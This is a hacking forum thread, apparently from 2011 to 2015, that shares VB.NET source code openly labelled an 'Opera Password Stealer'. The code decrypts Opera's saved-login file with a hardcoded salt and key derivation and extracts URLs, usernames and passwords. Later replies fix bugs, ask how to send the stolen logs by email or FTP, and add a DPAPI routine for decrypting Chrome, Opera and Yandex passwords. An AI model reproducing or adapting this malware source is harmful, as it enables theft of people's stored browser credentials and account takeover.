[VB] Opera Password Stealer [Source Code] - continuate - Jan 28, 2011
Hey everyone,
I found this on the web, thought it'd be helpful to some of you guys
the tutorial says it has been shortened to only send "usernames, passwords & urls"
Code Imports System.Collections.Generic
Imports System.Text
Imports System.Security.Cryptography
Imports System.IO
Class Opera
Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _
&HE8, &H69, &H73, &HAF, &HFF}
Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}
Private Shared path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Public DOutput As String
Dim c As Integer = 0, c1 As Integer = 0
Dim firstrun As Boolean = True
Dim ReturnValue As String
Dim sUrlTemp, sUserTemp, sPassTemp As String
Dim sUrl(1000), sUser(1000), sPass(1000) As String
Dim lasturl As Integer = 0
Public Function GetOpera()
If File.Exists(path & "\Opera\Opera\wand.dat") Then
path += "\Opera\Opera\wand.dat"
version2()
ElseIf File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
path += "\Opera\Opera\profile\wand.dat"
version2()
Else
End If
End Function
Private Sub version2()
Try
Dim wand_file As Byte() = File.ReadAllBytes(path)
Dim block_size As Integer = 0
For i As Integer = 0 To wand_file.Length - 5
If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso wand_file(i + 3) = &H8 Then
block_size = CInt(wand_file(i + 15))
Dim key As Byte() = New Byte(7) {}
Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
Array.Copy(wand_file, i + 4, key, 0, key.Length)
Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
i += 11 + block_size
End If
Next
Dim Lines() As String
Lines = DOutput.Split(Environment.NewLine)
For j = 0 To 3
Lines(j) = Nothing
Next
For j = 0 To Lines.Length - 1
sUrlTemp = Nothing
sUserTemp = Nothing
sPassTemp = Nothing
c = 0
Try
If Lines(j).Contains("http://") Then
If j <> 0 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUrlTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception
End Try
End If
ElseIf Lines(j).Contains("https://") Then
If j <> 0 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUrlTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception
End Try
End If
Else
If lasturl <> 0 Then
If j = lasturl + 2 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sUserTemp = Lines(j)
Catch ex As Exception
End Try
ElseIf j = lasturl + 4 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sPassTemp = Lines(j)
c1 += 1
Catch ex As Exception
End Try
End If
End If
End If
Catch ex As Exception
End Try
Try
If sUrlTemp <> Nothing Then
sUrl(c1) = sUrlTemp
End If
If sUserTemp <> Nothing Then
sUser(c1) = sUserTemp
End If
If sPassTemp <> Nothing Then
Try
sPass(c1 - 1) = sPassTemp
Catch ex As Exception
End Try
End If
Catch ex As Exception
End Try
Next
Catch e As Exception
Console.WriteLine(e.Message)
End Try
For i = 0 To sUrl.Length
If sUrl(i) = "" Then
Exit For
End If
MsgBox(sUrl(i))
MsgBox(sUser(i))
MsgBox(sPass(i))
Next
End Sub
Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())
Try
Dim md5Crypt As New MD5CryptoServiceProvider()
md5Crypt.Initialize()
Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}
Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)
Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}
Array.Copy(hash1, tmpBuffer, hash1.Length)
Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)
Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
Dim tripleDES As New TripleDESCryptoServiceProvider()
tripleDES.Mode = CipherMode.CBC
tripleDES.Padding = PaddingMode.None
Dim tripleKey As Byte() = New Byte(23) {}
Dim IV As Byte() = New Byte(7) {}
Array.Copy(hash1, tripleKey, hash1.Length)
Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)
Array.Copy(hash2, 8, IV, 0, 8)
tripleDES.Key = tripleKey
tripleDES.IV = IV
Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()
Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)
Dim enc As String = Encoding.Unicode.GetString(output)
Return enc
Catch e As Exception
Return ""
End Try
End Function
End Class
Ok fully workin stealer.
URL's are stored in sUrl, Passwords in sPass and Usernames in sUser !
Credits to Black-Blood. KingCobraXD
Enjoy.
* - KingCobraXD - Jan 28, 2011
Repost..Black-Blood has already posted it in this forum..Also, i have helped him converted it from C# to VB.NET. Where's my credits?
Even he has credited me:
https://hackforums.net/showthread.php?tid=890615
* - continuate - Jan 28, 2011
sorry i'll credit you :) to short
* - njq8 - Jan 29, 2011
nice Share
but there is problem
you can fix it like this to make Password correct remove chrw(0) and chrw(10)
MsgBox(sUrl(i).Replace(ChrW(0), "").Replace(ChrW(10), "") )
MsgBox(sUser(i).Replace(ChrW(0), "").Replace(ChrW(10), "") )
MsgBox(sPass(i).Replace(ChrW(0), "").Replace(ChrW(10), "") )
gl ^:^
* - h4yR0 - Jan 29, 2011
(Jan 29, 2011 03:33 AM)njn Wrote: nice Share
but there is problem
you can fix it like this to make Password correct remove chrw(0) and chrw(10)
MsgBox(sUrl(i).Replace(ChrW(0), "").Replace(ChrW(10), "") )
MsgBox(sUser(i).Replace(ChrW(0), "").Replace(ChrW(10), "") )
MsgBox(sPass(i).Replace(ChrW(0), "").Replace(ChrW(10), "") )
gl ^:^
do you know how to make function that will be send logs to your email or FTP ?
* - » µиɨνєʀsɑℓ ɢɑʍɨиɢ ₪ - Jan 29, 2011
Nice share, thanks man. :D
* - lajcik - Jan 29, 2011
That's good share for our community.
* - FET - Jan 26, 2012
Great share dude. Works perfectly!
Tested on Windows XP, Vista & 7 (x86 & x64), Opera v11.60
* - ibloodqman - Jan 26, 2012
(Jan 26, 2012 01:51 PM)FET Wrote: Great share dude. Works perfectly!
Tested on Windows XP, Vista & 7 (x86 & x64), Opera v11.60
LOL, thread is 1 year old, and who are you thanking to?? +account closed!
* - FET - Jan 26, 2012
Account closed or not the source above is a nice peace of code and at least a thanks is needed for the guy who created it.
Plus giving a feedback that the code still works after a year or so, especially after Opera was updated several times from then, is not such a bad idea.
* - Easi-- - Sep 25, 2014
Code does not work any more, because Opera does not use a wand file any more.
They seem to use another file , it is
AppData\Roaming\Opera Software\Opera Stable\Login Data
* - TheBarret - Sep 25, 2014
Code ElseIf File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
path += "\Opera\Opera\profile\wand.dat"
version2()
Else <------ wtf is this about???
End If
Copy paste crap. bad BAD
* - Earn - Sep 25, 2014
This is from January, 2011. Please read the date next time.
* - mauricioscova - Sep 7, 2015
nice code thanks man Works perfectly!
* - Adderall - Sep 9, 2015
(Sep 7, 2015 05:51 PM)mauricioscova Wrote: nice code thanks man Works perfectly!
Stop grave digging use this code to decrypt the passwords for Chrome, Opera and Yandex.
Code Private Function Decrypt(ByVal EncryptedData As String) As String
If EncryptedData Is Nothing OrElse EncryptedData.Length = 0 Then Return Nothing
Return System.Text.Encoding.UTF8.GetString(System.Security.Cryptography.ProtectedData.Unprotect(System.Text.Encoding.Default.GetBytes(EncryptedData), Nothing, System.Security.Cryptography.DataProtectionScope.CurrentUser))
End Function
|